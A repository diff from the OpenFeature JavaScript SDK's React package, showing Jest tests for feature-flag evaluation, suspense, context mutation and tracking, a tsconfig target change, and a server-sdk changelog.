expect.anything(),
);
});
it('should rerender on flag change because the evaluated values changed', async () => {
const TestComponent = TestComponentFactory();
const resolverSpy = jest.spyOn(rerenderProvider, 'resolveBooleanEvaluation');
render(
<OpenFeatureProvider domain={RERENDER_DOMAIN}>
<TestComponent></TestComponent>
</OpenFeatureProvider>,
);
expect(screen.queryByTestId('render-count')).toHaveTextContent('1');
await act(async () => {
await rerenderProvider.putConfiguration({
...FLAG_CONFIG,
[BOOL_FLAG_KEY]: {
...FLAG_CONFIG[BOOL_FLAG_KEY],
// Change the default variant to trigger a rerender
defaultVariant: 'off',
},
});
});
expect(screen.queryByTestId('render-count')).toHaveTextContent('2');
await act(async () => {
await rerenderProvider.putConfiguration({
...FLAG_CONFIG,
[BOOL_FLAG_KEY]: {
...FLAG_CONFIG[BOOL_FLAG_KEY],
// Change the default variant to trigger a rerender
defaultVariant: 'on',
},
});
});
expect(screen.queryByTestId('render-count')).toHaveTextContent('3');
expect(resolverSpy).toHaveBeenNthCalledWith(
3,
BOOL_FLAG_KEY,
expect.anything(),
expect.anything(),
expect.anything(),
);
});
});
});
describe('re-rending and suspense', () => {
describe('re-rendering and suspense', () => {
/**
* artificial delay for various async operations for our provider,
* multiples of it are used in assertions as well
@ -284,12 +577,42 @@ describe('evaluation', () => {
},
};
afterEach(() => {
OpenFeature.clearProviders();
});
const suspendingProvider = () => {
return new TestingProvider(CONFIG, DELAY); // delay init by 100ms
};
describe('updateOnConfigurationChanged=true (default)', () => {
describe('when using the noop provider', () => {
function TestComponent() {
const { value } = useSuspenseFlag(SUSPENSE_FLAG_KEY, DEFAULT);
return (
<>
<div>{value}</div>
</>
);
}
it('should fallback to the default value on the next rerender', async () => {
render(
<OpenFeatureProvider>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent></TestComponent>
</React.Suspense>
</OpenFeatureProvider>,
);
// The loading indicator should be shown on the first render
expect(screen.queryByText(FALLBACK)).toBeInTheDocument();
// The default value should be shown on the next render
await waitFor(() => expect(screen.queryByText(DEFAULT)).toBeInTheDocument(), {
timeout: DELAY,
});
});
});
describe('updateOnConfigurationChanged=true (default)', () => {
function TestComponent() {
const { value } = useFlag(SUSPENSE_FLAG_KEY, DEFAULT);
return (
@ -297,7 +620,7 @@ describe('evaluation', () => {
<div>{value}</div>
</>
);
}
}
it('should re-render after flag config changes', async () => {
const provider = suspendingProvider();
@ -334,7 +657,6 @@ describe('evaluation', () => {
});
describe.each([useFlag, useSuspenseFlag])('suspendUntilReady=true', (hook) => {
const SUSPEND_UNTIL_READY_ON = 'suspendUntilReady';
function TestComponent() {
@ -344,7 +666,7 @@ describe('evaluation', () => {
<div>{value}</div>
</>
);
}
}
it('should suspend until ready and then render', async () => {
OpenFeature.setProvider(SUSPEND_UNTIL_READY_ON, suspendingProvider());
@ -420,7 +742,6 @@ describe('evaluation', () => {
});
describe('suspendWhileReconciling=true', () => {
const SUSPEND_WHILE_RECONCILING_ON = 'suspendWhileReconciling=true';
it('should suspend until reconciled and then render', async () => {
@ -474,7 +795,7 @@ describe('evaluation', () => {
it('should show the previous UI while reconciling during a transition', async () => {
await OpenFeature.setContext(SUSPEND_WHILE_RECONCILING_ON, {});
OpenFeature.setProvider(SUSPEND_WHILE_RECONCILING_ON, suspendingProvider());
function Component() {
const { value } = useFlag(SUSPENSE_FLAG_KEY, DEFAULT, { suspendWhileReconciling: true });
return <div>{value}</div>;
@ -488,20 +809,20 @@ describe('evaluation', () => {
</React.Suspense>
</OpenFeatureProvider>,
);
// initially should be default, because suspendUntilReady={false}
expect(screen.queryByText(DEFAULT)).toBeInTheDocument();
// update the context without awaiting
act(() => {
startTransition(() => {
OpenFeature.setContext(SUSPEND_WHILE_RECONCILING_ON, { user: TARGETED_USER });
});
});
// we should still see the same UI, because this is a transition update
expect(screen.queryByText(DEFAULT)).toBeInTheDocument();
// make sure we updated after reconciling
await waitFor(() => expect(screen.queryByText(TARGETED_FLAG_VALUE)).toBeInTheDocument(), {
timeout: DELAY * 2,
@ -510,8 +831,7 @@ describe('evaluation', () => {
});
describe.each([useFlag, useSuspenseFlag])('suspend=true', () => {
const SUSPEND_ON = 'suspend=true';
const SUSPEND_ON = 'suspend=true';
it('should suspend on ready and reconcile and then render', async () => {
await OpenFeature.setContext(SUSPEND_ON, {});
@ -544,7 +864,9 @@ describe('evaluation', () => {
expect(screen.queryByText(FALLBACK)).toBeInTheDocument();
// expect to see value once we are ready
await waitFor(() => expect(screen.queryByText(STATIC_FLAG_VALUE_A)).toBeInTheDocument(), { timeout: DELAY * 2 });
await waitFor(() => expect(screen.queryByText(STATIC_FLAG_VALUE_A)).toBeInTheDocument(), {
timeout: DELAY * 2,
});
// update the context without awaiting
act(() => {
@ -565,7 +887,6 @@ describe('evaluation', () => {
});
describe('suspend=false (default)', () => {
const SUSPEND_OFF = 'suspend=false';
function TestComponent() {
@ -575,7 +896,7 @@ describe('evaluation', () => {
<div>{value}</div>
</>
);
}
}
it('should not suspend until reconciled and then render', async () => {
await OpenFeature.setContext(SUSPEND_OFF, {});
OpenFeature.setProvider(SUSPEND_OFF, suspendingProvider());
@ -603,17 +924,124 @@ describe('evaluation', () => {
OpenFeature.setContext(SUSPEND_OFF, { user: TARGETED_USER });
});
// expect to see static value until we reconcile
await waitFor(() => expect(screen.queryByText(STATIC_FLAG_VALUE_A)).toBeInTheDocument(), {
timeout: DELAY / 2,
});
// make sure we updated after reconciling
// With the fix for useState initialization, the hook now immediately
// reflects provider state changes. This is intentional to handle cases
// where providers don't emit proper events.
// The value updates immediately to the targeted value.
await waitFor(() => expect(screen.queryByText(TARGETED_FLAG_VALUE)).toBeInTheDocument(), {
timeout: DELAY * 2,
});
});
});
describe('re-render behavior when flag values change without provider events', ()=> {
it('should reflect provider state changes on re-render even without provider events', async () => {
let providerValue = 'initial-value';
class SilentUpdateProvider extends InMemoryProvider {
resolveBooleanEvaluation() {
return {
value: true,
variant: 'on',
reason: StandardResolutionReasons.STATIC,
};
}
resolveStringEvaluation() {
return {
value: providerValue,
variant: providerValue,
reason: StandardResolutionReasons.STATIC,
};
}
}
const provider = new SilentUpdateProvider({});
await OpenFeature.setProviderAndWait('test', provider);
// The triggerRender prop forces a re-render
const TestComponent = ({ triggerRender }: { triggerRender: number }) => {
const { value } = useFlag('test-flag', 'default');
return <div data-testid="flag-value" data-render-count={triggerRender}>{value}</div>;
};
const WrapperComponent = () => {
const [renderCount, setRenderCount] = useState(0);
return (
<>
<button onClick={() => setRenderCount(c => c + 1)}>Force Re-render</button>
<TestComponent triggerRender={renderCount} />
</>
);
};
const { getByText } = render(
<OpenFeatureProvider client={OpenFeature.getClient('test')}>
<WrapperComponent />
</OpenFeatureProvider>
);
// Initial value should be rendered
await waitFor(() => {
expect(screen.getByTestId('flag-value')).toHaveTextContent('initial-value');
});
// Change the provider's internal state (without emitting events)
providerValue = 'updated-value';
// Force a re-render of the component
act(() => {
getByText('Force Re-render').click();
});
await waitFor(() => {
expect(screen.getByTestId('flag-value')).toHaveTextContent('updated-value');
});
});
it('should update flag value when flag key prop changes without provider events', async () => {
const provider = new InMemoryProvider({
'flag-a': {
disabled: false,
variants: { on: 'value-a' },
defaultVariant: 'on',
},
'flag-b': {
disabled: false,
variants: { on: 'value-b' },
defaultVariant: 'on',
},
});
await OpenFeature.setProviderAndWait(EVALUATION, provider);
const TestComponent = ({ flagKey }: { flagKey: string }) => {
const { value } = useFlag(flagKey, 'default');
return <div data-testid="flag-value">{value}</div>;
};
const { rerender } = render(
<OpenFeatureProvider client={OpenFeature.getClient(EVALUATION)}>
<TestComponent flagKey="flag-a" />
</OpenFeatureProvider>
);
await waitFor(() => {
expect(screen.getByTestId('flag-value')).toHaveTextContent('value-a');
});
// Change to flag-b (without any provider events)
rerender(
<OpenFeatureProvider client={OpenFeature.getClient(EVALUATION)}>
<TestComponent flagKey="flag-b" />
</OpenFeatureProvider>
);
await waitFor(() => {
expect(screen.getByTestId('flag-value')).toHaveTextContent('value-b');
});
});
});
});
describe('context, hooks and options', () => {
@ -772,12 +1200,12 @@ describe('evaluation', () => {
});
});
describe('HookFlagQuery', () => {
describe('HookFlagQuery', () => {
it('should return details', () => {
const details: EvaluationDetails<string> = {
flagKey: 'flag-key',
flagMetadata : {},
value: 'string'
flagMetadata: {},
value: 'string',
};
const hookFlagQuery = new HookFlagQuery(details);
expect(hookFlagQuery.details).toEqual(details);
@ -785,7 +1213,7 @@ describe('evaluation', () => {
it('should return flag metadata', () => {
const flagMetadata = {
'ping': 'pong'
ping: 'pong',
};
const details: EvaluationDetails<boolean> = {
flagKey: 'with-flagMetadata',
@ -797,22 +1225,26 @@ describe('evaluation', () => {
});
it.each([
[{
flagKey: 'i-dont-exist',
flagMetadata: {},
errorMessage: 'no flag found with key i-dont-exist',
errorCode: ErrorCode.FLAG_NOT_FOUND,
value: true
}],
[{
flagKey: 'i-dont-exist',
flagMetadata: {},
errorMessage: 'no flag found with key i-dont-exist',
errorCode: undefined,
reason: StandardResolutionReasons.ERROR,
value: true
}],
])('should return errors if reason is error or errorCode is set',(details) => {;
[
{
flagKey: 'i-dont-exist',
flagMetadata: {},
errorMessage: 'no flag found with key i-dont-exist',
errorCode: ErrorCode.FLAG_NOT_FOUND,
value: true,
},
],
[
{
flagKey: 'i-dont-exist',
flagMetadata: {},
errorMessage: 'no flag found with key i-dont-exist',
errorCode: undefined,
reason: StandardResolutionReasons.ERROR,
value: true,
},
],
])('should return errors if reason is error or errorCode is set', (details) => {
const hookFlagQuery = new HookFlagQuery(details);
expect(hookFlagQuery.isError).toEqual(true);
expect(hookFlagQuery.errorCode).toEqual(details.errorCode);
@ -820,33 +1252,46 @@ describe('evaluation', () => {
});
it.each([
[{
flagKey: 'isAuthorative-true',
flagMetadata : {},
value: 7,
}, true],
[{
flagKey: 'with-error',
flagMetadata : {},
value: 7,
errorCode: ErrorCode.FLAG_NOT_FOUND
}, false],
[{
flagKey: 'with-reason-stale',
flagMetadata : {},
value: 7,
reason: StandardResolutionReasons.STALE
}, false],
[{
flagKey: 'with-reason-disabled',
flagMetadata : {},
value: 7,
reason: StandardResolutionReasons.DISABLED
}, false],
])('should return isAuthorative if Reason != STALE/DISABLED and errorCode unset',(details, expected) => {
[
{
flagKey: 'isAuthoritative-true',
flagMetadata: {},
value: 7,
},
true,
],
[
{
flagKey: 'with-error',
flagMetadata: {},
value: 7,
errorCode: ErrorCode.FLAG_NOT_FOUND,
},
false,
],
[
{
flagKey: 'with-reason-stale',
flagMetadata: {},
value: 7,
reason: StandardResolutionReasons.STALE,
},
false,
],
[
{
flagKey: 'with-reason-disabled',
flagMetadata: {},
value: 7,
reason: StandardResolutionReasons.DISABLED,
},
false,
],
])('should return isAuthoritative if Reason != STALE/DISABLED and errorCode unset', (details, expected) => {
const hookFlagQuery = new HookFlagQuery(details);
expect(hookFlagQuery.isAuthoritative).toEqual(expected);
});
});
});
});

View File

@ -0,0 +1,50 @@
import { isEqual } from '../src/internal/is-equal';
describe('isEqual', () => {
it('should return true for equal primitive values', () => {
expect(isEqual(5, 5)).toBe(true);
expect(isEqual('hello', 'hello')).toBe(true);
expect(isEqual(true, true)).toBe(true);
});
it('should return false for different primitive values', () => {
expect(isEqual(5, 10)).toBe(false);
expect(isEqual('hello', 'world')).toBe(false);
expect(isEqual(true, false)).toBe(false);
});
it('should return true for equal serializable objects', () => {
const obj1 = { name: 'John', age: 30 };
const obj2 = { name: 'John', age: 30 };
expect(isEqual(obj1, obj2)).toBe(true);
});
it('should return false for different serializable objects', () => {
const obj1 = { name: 'John', age: 30 };
const obj2 = { name: 'Jane', age: 25 };
expect(isEqual(obj1, obj2)).toBe(false);
});
it('should return true for equal deep objects', () => {
const obj1 = { name: 'John', age: 30, address: { city: 'New York', country: 'USA' } };
const obj2 = { name: 'John', age: 30, address: { city: 'New York', country: 'USA' } };
expect(isEqual(obj1, obj2)).toBe(true);
});
it('should return true for equal deep objects with properties in a different order', () => {
const obj1 = { name: 'John', age: 30, address: { city: 'New York', country: 'USA' } };
const obj2 = { address: { country: 'USA', city: 'New York' }, age: 30, name: 'John' };
expect(isEqual(obj1, obj2)).toBe(true);
});
it('should return true for equal arrays', () => {
const arr1 = [1, 2, 3];
const arr2 = [1, 2, 3];
expect(isEqual(arr1, arr2)).toBe(true);
});
it('should return false for different arrays', () => {
const arr1 = [1, 2, 3];
const arr2 = [3, 2, 1];
expect(isEqual(arr1, arr2)).toBe(false);
});
});

View File

@ -1,4 +1,4 @@
import { normalizeOptions } from '../src/common/options';
import { normalizeOptions } from '../src/internal/options';
describe('normalizeOptions', () => {
// we spread results from this function, so we never want to return null

View File

@ -1,11 +1,18 @@
import { EvaluationContext, OpenFeature } from '@openfeature/web-sdk';
import type { EvaluationContext} from '@openfeature/web-sdk';
import { InMemoryProvider, OpenFeature } from '@openfeature/web-sdk';
import '@testing-library/jest-dom'; // see: https://testing-library.com/docs/react-testing-library/setup
import { render, renderHook, screen, waitFor } from '@testing-library/react';
import { render, renderHook, screen, waitFor, fireEvent, act } from '@testing-library/react';
import * as React from 'react';
import { OpenFeatureProvider, useOpenFeatureClient, useWhenProviderReady } from '../src';
import {
OpenFeatureProvider,
useOpenFeatureClient,
useWhenProviderReady,
useContextMutator,
useStringFlagValue,
} from '../src';
import { TestingProvider } from './test.utils';
describe('provider', () => {
describe('OpenFeatureProvider', () => {
/**
* artificial delay for various async operations for our provider,
* multiples of it are used in assertions as well
@ -33,6 +40,9 @@ describe('provider', () => {
if (context.user == 'bob@flags.com') {
return 'both';
}
if (context.done === true) {
return 'parting';
}
return 'greeting';
},
},
@ -137,4 +147,148 @@ describe('provider', () => {
});
});
});
describe('useMutateContext', () => {
const MutateButton = () => {
const { setContext } = useContextMutator();
return <button onClick={() => setContext({ user: 'bob@flags.com' })}>Update Context</button>;
};
const TestComponent = ({ name }: { name: string }) => {
const flagValue = useStringFlagValue<'hi' | 'bye' | 'aloha'>(SUSPENSE_FLAG_KEY, 'hi');
return (
<div>
<MutateButton />
<div>{`${name} says ${flagValue}`}</div>
</div>
);
};
it('should update context when a domain is set', async () => {
const DOMAIN = 'mutate-context-tests';
OpenFeature.setProvider(DOMAIN, suspendingProvider());
render(
<OpenFeatureProvider domain={DOMAIN}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent name="Will" />
</React.Suspense>
</OpenFeatureProvider>,
);
await waitFor(() => {
expect(screen.getByText('Will says hi')).toBeInTheDocument();
});
act(() => {
fireEvent.click(screen.getByText('Update Context'));
});
await waitFor(
() => {
expect(screen.getByText('Will says aloha')).toBeInTheDocument();
},
{ timeout: DELAY * 4 },
);
});
it('should update nested contexts', async () => {
const DOMAIN1 = 'Wills Domain';
const DOMAIN2 = 'Todds Domain';
OpenFeature.setProvider(DOMAIN1, suspendingProvider());
OpenFeature.setProvider(DOMAIN2, suspendingProvider());
render(
<OpenFeatureProvider domain={DOMAIN1}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent name="Will" />
<OpenFeatureProvider domain={DOMAIN2}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent name="Todd" />
</React.Suspense>
</OpenFeatureProvider>
</React.Suspense>
</OpenFeatureProvider>,
);
await waitFor(() => {
expect(screen.getByText('Todd says hi')).toBeInTheDocument();
});
act(() => {
// Click the Update context button in Todds domain
fireEvent.click(screen.getAllByText('Update Context')[1]);
});
await waitFor(
() => {
expect(screen.getByText('Todd says aloha')).toBeInTheDocument();
},
{ timeout: DELAY * 4 },
);
await waitFor(
() => {
expect(screen.getByText('Will says hi')).toBeInTheDocument();
},
{ timeout: DELAY * 4 },
);
});
it('should update nested global contexts', async () => {
const DOMAIN1 = 'Wills Domain';
OpenFeature.setProvider(DOMAIN1, suspendingProvider());
OpenFeature.setProvider(new InMemoryProvider({
globalFlagsHere: {
defaultVariant: 'a',
variants: {
a: 'Smile',
b: 'Frown',
},
disabled: false,
contextEvaluator: (ctx: EvaluationContext) => {
if (ctx.user === 'bob@flags.com') {
return 'b';
}
return 'a';
},
}
}));
const GlobalComponent = ({ name }: { name: string }) => {
const flagValue = useStringFlagValue<'b' | 'a'>('globalFlagsHere', 'a');
return (
<div>
<MutateButton />
<div>{`${name} likes to ${flagValue}`}</div>
</div>
);
};
render(
<OpenFeatureProvider domain={DOMAIN1}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent name="Will" />
<OpenFeatureProvider>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<GlobalComponent name="Todd" />
</React.Suspense>
</OpenFeatureProvider>
</React.Suspense>
</OpenFeatureProvider>,
);
await waitFor(() => {
expect(screen.getByText('Todd likes to Smile')).toBeInTheDocument();
});
act(() => {
// Click the Update context button in Todds domain
fireEvent.click(screen.getAllByText('Update Context')[1]);
});
await waitFor(
() => {
expect(screen.getByText('Todd likes to Frown')).toBeInTheDocument();
},
{ timeout: DELAY * 4 },
);
expect(screen.getByText('Will says aloha')).toBeInTheDocument();
});
});
});

View File

@ -0,0 +1,131 @@
import type { Provider, ResolutionDetails } from '@openfeature/web-sdk';
import '@testing-library/jest-dom'; // see: https://testing-library.com/docs/react-testing-library/setup
import { render, screen } from '@testing-library/react';
import * as React from 'react';
import { OpenFeatureTestProvider, useFlag } from '../src';
const FLAG_KEY = 'thumbs';
function TestComponent(props: { suspend: boolean }) {
const { value: thumbs, reason } = useFlag(FLAG_KEY, false, { suspend: props.suspend });
return (
<>
<div>{thumbs ? '👍' : '👎'}</div>
<div>reason: {`${reason}`}</div>
</>
);
}
describe('OpenFeatureTestProvider', () => {
describe('no args', () => {
it('renders default', async () => {
render(
<OpenFeatureTestProvider>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
expect(screen.getByText('👎')).toBeInTheDocument();
});
});
describe('flagValueMap set', () => {
it('renders value from map', async () => {
render(
<OpenFeatureTestProvider flagValueMap={{ [FLAG_KEY]: true }}>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
expect(screen.getByText('👍')).toBeInTheDocument();
});
});
describe('delay and flagValueMap set', () => {
it('renders value after delay', async () => {
const delay = 100;
render(
<OpenFeatureTestProvider delayMs={delay} flagValueMap={{ [FLAG_KEY]: true }}>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
// should only be resolved after delay
expect(screen.getByText('👎')).toBeInTheDocument();
await new Promise((resolve) => setTimeout(resolve, delay * 4));
expect(screen.getByText('👍')).toBeInTheDocument();
});
});
describe('provider set', () => {
const reason = 'MY_REASON';
it('renders provider-returned value', async () => {
class MyTestProvider implements Partial<Provider> {
resolveBooleanEvaluation(): ResolutionDetails<boolean> {
return {
value: true,
variant: 'test-variant',
reason,
};
}
}
render(
<OpenFeatureTestProvider provider={new MyTestProvider()}>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
expect(screen.getByText('👍')).toBeInTheDocument();
expect(screen.getByText(new RegExp(`${reason}`))).toBeInTheDocument();
});
it('falls back to no-op for missing methods', async () => {
class MyEmptyProvider implements Partial<Provider> {}
render(
<OpenFeatureTestProvider provider={new MyEmptyProvider()}>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
expect(screen.getByText('👎')).toBeInTheDocument();
expect(screen.getByText(/No-op/)).toBeInTheDocument();
});
});
describe('component under test suspends', () => {
describe('delay non-zero', () => {
it('renders fallback then value after delay', async () => {
const delay = 100;
render(
<OpenFeatureTestProvider delayMs={delay} flagValueMap={{ [FLAG_KEY]: true }}>
<React.Suspense fallback={<>🕒</>}>
<TestComponent suspend={true} />
</React.Suspense>
</OpenFeatureTestProvider>,
);
// should initially show fallback, then resolve
expect(screen.getByText('🕒')).toBeInTheDocument();
await new Promise((resolve) => setTimeout(resolve, delay * 4));
expect(screen.getByText('👍')).toBeInTheDocument();
});
});
describe('delay zero', () => {
it('renders value immediately', async () => {
render(
<OpenFeatureTestProvider delayMs={0} flagValueMap={{ [FLAG_KEY]: true }}>
<React.Suspense fallback={<>🕒</>}>
<TestComponent suspend={true} />
</React.Suspense>
</OpenFeatureTestProvider>,
);
// should resolve immediately since delay is falsy
expect(screen.getByText('👍')).toBeInTheDocument();
});
});
});
});

View File

@ -1,4 +1,4 @@
import { EvaluationContext, InMemoryProvider } from '@openfeature/web-sdk';
import { InMemoryProvider } from '@openfeature/web-sdk';
export class TestingProvider extends InMemoryProvider {
constructor(
@ -9,9 +9,8 @@ export class TestingProvider extends InMemoryProvider {
}
// artificially delay our init (delaying PROVIDER_READY event)
async initialize(context?: EvaluationContext | undefined): Promise<void> {
async initialize(): Promise<void> {
await new Promise((resolve) => setTimeout(resolve, this.delay));
return super.initialize(context);
}
// artificially delay context changes

View File

@ -0,0 +1,88 @@
import { jest } from '@jest/globals';
import '@testing-library/jest-dom'; // see: https://testing-library.com/docs/react-testing-library/setup
import { render } from '@testing-library/react';
import * as React from 'react';
import type { Provider, TrackingEventDetails } from '../src';
import {
OpenFeature,
OpenFeatureProvider,
useTrack
} from '../src';
describe('tracking', () => {
const eventName = 'test-tracking-event';
const trackingValue = 1234;
const trackingDetails: TrackingEventDetails = {
value: trackingValue,
};
const domain = 'someDomain';
const mockProvider = () => {
const mockProvider: Provider = {
metadata: {
name: 'mock',
},
track: jest.fn((): void => {
return;
}),
} as unknown as Provider;
return mockProvider;
};
describe('no domain', () => {
it('should call default provider', async () => {
const provider = mockProvider();
await OpenFeature.setProviderAndWait(provider);
function Component() {
const { track } = useTrack();
track(eventName, trackingDetails);
return <div></div>;
}
render(
<OpenFeatureProvider suspend={false} >
<Component></Component>
</OpenFeatureProvider>,
);
expect(provider.track).toHaveBeenCalledWith(
eventName,
expect.anything(),
expect.objectContaining({ value: trackingValue }),
);
});
});
describe('domain set', () => {
it('should call provider for domain', async () => {
const domainProvider = mockProvider();
await OpenFeature.setProviderAndWait(domain, domainProvider);
function Component() {
const { track } = useTrack();
track(eventName, trackingDetails);
return <div></div>;
}
render(
<OpenFeatureProvider domain={domain} suspend={false} >
<Component></Component>
</OpenFeatureProvider>,
);
expect(domainProvider.track).toHaveBeenCalledWith(
eventName,
expect.anything(),
expect.objectContaining({ value: trackingValue }),
);
});
});
});

View File

@ -10,9 +10,9 @@
// "disableSolutionSearching": true, /* Opt a project out of multi-project reference checking when editing. */
// "disableReferencedProjectLoad": true, /* Reduce the number of projects loaded automatically by TypeScript. */
/* Language and Environment */
"target": "ES2022", /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */
"target": "ES2015", /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */
"lib": [
"ES2022",
"ES2015",
"DOM"
], /* Specify a set of bundled library declaration files that describe the target runtime environment. */
// "jsx": "preserve", /* Specify what JSX code is generated. */
@ -25,13 +25,13 @@
// "noLib": true, /* Disable including any library files, including the default lib.d.ts. */
// "useDefineForClassFields": true, /* Emit ECMAScript-standard-compliant class fields. */
/* Modules */
"module": "ES2022", /* Specify what module code is generated. */
"module": "ES2015", /* Specify what module code is generated. */
// "rootDir": "./", /* Specify the root folder within your source files. */
"moduleResolution": "node", /* Specify how TypeScript looks up a file from a given module specifier. */
// "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */
"paths": {
"@openfeature/core": [ "../shared/src" ],
"@openfeature/web-sdk": [ "../client/src" ]
"@openfeature/web-sdk": [ "../web/src" ]
}, /* Specify a set of entries that re-map imports to additional lookup locations. */
// "rootDirs": [], /* Allow multiple folders to be treated as one when resolving modules. */
// "typeRoots": [], /* Specify multiple folders that act like `./node_modules/@types`. */

View File

@ -1,5 +1,126 @@
# Changelog
## [1.19.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.18.0...server-sdk-v1.19.0) (2025-08-14)
### ✨ New Features
* add evaluation-scoped hook data ([#1216](https://github.com/open-feature/js-sdk/issues/1216)) ([07af3a9](https://github.com/open-feature/js-sdk/commit/07af3a9eda895e9edb24c7ee1e3c1c4f16e17431))
### 🐛 Bug Fixes
* update core dep ([#1228](https://github.com/open-feature/js-sdk/issues/1228)) ([845d24c](https://github.com/open-feature/js-sdk/commit/845d24c5fecc80de3080e49fde839f08ecac6b33))
### 🧹 Chore
* update node to v20+ ([#1203](https://github.com/open-feature/js-sdk/issues/1203)) ([1f33453](https://github.com/open-feature/js-sdk/commit/1f33453c23df0763cbf0d0b44db8d91216377009))
### 📚 Documentation
* Clarify the behavior of setProviderAndWait ([#1180](https://github.com/open-feature/js-sdk/issues/1180)) ([4fe8d87](https://github.com/open-feature/js-sdk/commit/4fe8d87a2e5df2cbd4086cc4f4a380e8857ed8ba))
## [1.18.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.17.1...server-sdk-v1.18.0) (2025-04-11)
### ✨ New Features
* add a top-level method for accessing providers ([#1152](https://github.com/open-feature/js-sdk/issues/1152)) ([ae8fce8](https://github.com/open-feature/js-sdk/commit/ae8fce87530005ed20f7e68dc696ce67053fca31))
* add support for abort controllers to event handlers ([#1151](https://github.com/open-feature/js-sdk/issues/1151)) ([6a22483](https://github.com/open-feature/js-sdk/commit/6a224830fa4e62fc30a7802536f6f6fc3f772038))
## [1.17.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.17.0...server-sdk-v1.17.1) (2025-02-07)
### 🐛 Bug Fixes
* msg missing when providers return err resolutions ([#1134](https://github.com/open-feature/js-sdk/issues/1134)) ([bc9f6e4](https://github.com/open-feature/js-sdk/commit/bc9f6e44da3f1c0a66659aee2d0316629ac34fbf))
### 🧹 Chore
* update core peer ([8bbd43e](https://github.com/open-feature/js-sdk/commit/8bbd43e579a0c2e0c5b7eec00f94bbcffce04773))
### 📚 Documentation
* fix eval context link ([#1132](https://github.com/open-feature/js-sdk/issues/1132)) ([f6bc695](https://github.com/open-feature/js-sdk/commit/f6bc6951a32fbbed9b35c1bdfd023b02874b87a1))
## [1.17.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.16.2...server-sdk-v1.17.0) (2024-12-18)
### ⚠ BREAKING CHANGES
The signature of the `finally` hook stage has been changed. The signature now includes the `evaluation details`, as per the [OpenFeature specification](https://openfeature.dev/specification/sections/hooks#requirement-438). Note that since hooks are still `experimental,` this does not constitute a change requiring a new major version. To migrate, update any hook that implements the `finally` stage to accept `evaluation details` as the second argument.
* add evaluation details to finally hook ([#1087](https://github.com/open-feature/js-sdk/issues/1087)) ([2135254](https://github.com/open-feature/js-sdk/commit/2135254c4bee52b4bcadfbf8b99a896cfd930cca))
### ✨ New Features
* add evaluation details to finally hook ([#1087](https://github.com/open-feature/js-sdk/issues/1087)) ([2135254](https://github.com/open-feature/js-sdk/commit/2135254c4bee52b4bcadfbf8b99a896cfd930cca))
### 📚 Documentation
* fix comment in README for Hooks after method ([#1103](https://github.com/open-feature/js-sdk/issues/1103)) ([e335615](https://github.com/open-feature/js-sdk/commit/e3356157d5910d9196e8968c20d4c9a46c4de910))
### 🔄 Refactoring
* improve track interface for providers ([#1100](https://github.com/open-feature/js-sdk/issues/1100)) ([5e5b160](https://github.com/open-feature/js-sdk/commit/5e5b16022122b71760634ac90e3fd962aa831c74))
## [1.16.2](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.16.1...server-sdk-v1.16.2) (2024-11-07)
### 🧹 Chore
* loosen peer dependency requirements, remove some ci automation ([#1080](https://github.com/open-feature/js-sdk/issues/1080)) ([ef3ba21](https://github.com/open-feature/js-sdk/commit/ef3ba2167ac95cd0c6a046d206bd60bbcf84e80c))
### 🚀 Performance
* avoid using exceptions for flow control ([#1074](https://github.com/open-feature/js-sdk/issues/1074)) ([26264d6](https://github.com/open-feature/js-sdk/commit/26264d6d090b2ed31b27d36e71194b9fa911563b))
## [1.16.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.16.0...server-sdk-v1.16.1) (2024-10-29)
### 📚 Documentation
* add tracking sections ([#1068](https://github.com/open-feature/js-sdk/issues/1068)) ([e131faf](https://github.com/open-feature/js-sdk/commit/e131faffad9025e9c7194f39558bf3b3cec31807))
## [1.16.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.15.1...server-sdk-v1.16.0) (2024-10-29)
### ✨ New Features
* implement tracking as per spec ([#1020](https://github.com/open-feature/js-sdk/issues/1020)) ([80f182e](https://github.com/open-feature/js-sdk/commit/80f182e1afbd3a705bf3de6a0d9886ccb3424b44))
### 🧹 Chore
* import type lint rule and fixes ([#1039](https://github.com/open-feature/js-sdk/issues/1039)) ([01fcb93](https://github.com/open-feature/js-sdk/commit/01fcb933d2cbd131a0f4a005173cdd1906087e18))
* **main:** release core 1.5.0 ([#1040](https://github.com/open-feature/js-sdk/issues/1040)) ([fe3ad8e](https://github.com/open-feature/js-sdk/commit/fe3ad8eeb9219ff08ba287cab228016da0b88e88))
## [1.15.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.15.0...server-sdk-v1.15.1) (2024-08-28)
### 🧹 Chore
* add assertion for hook context contents ([#977](https://github.com/open-feature/js-sdk/issues/977)) ([964d65b](https://github.com/open-feature/js-sdk/commit/964d65b7751d1a78a932e928d1ecfd9c071e1109))
* **main:** release core 1.4.0 ([#984](https://github.com/open-feature/js-sdk/issues/984)) ([01344b2](https://github.com/open-feature/js-sdk/commit/01344b28c1381d9de3aefde89be841b597a00b70))
## [1.15.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.14.0...server-sdk-v1.15.0) (2024-06-11)
### ✨ New Features
* lower compilation target to es2015 ([#957](https://github.com/open-feature/js-sdk/issues/957)) ([c2d6c17](https://github.com/open-feature/js-sdk/commit/c2d6c1761ae19f937deaff2f011a0380f8af7350))
### 🧹 Chore
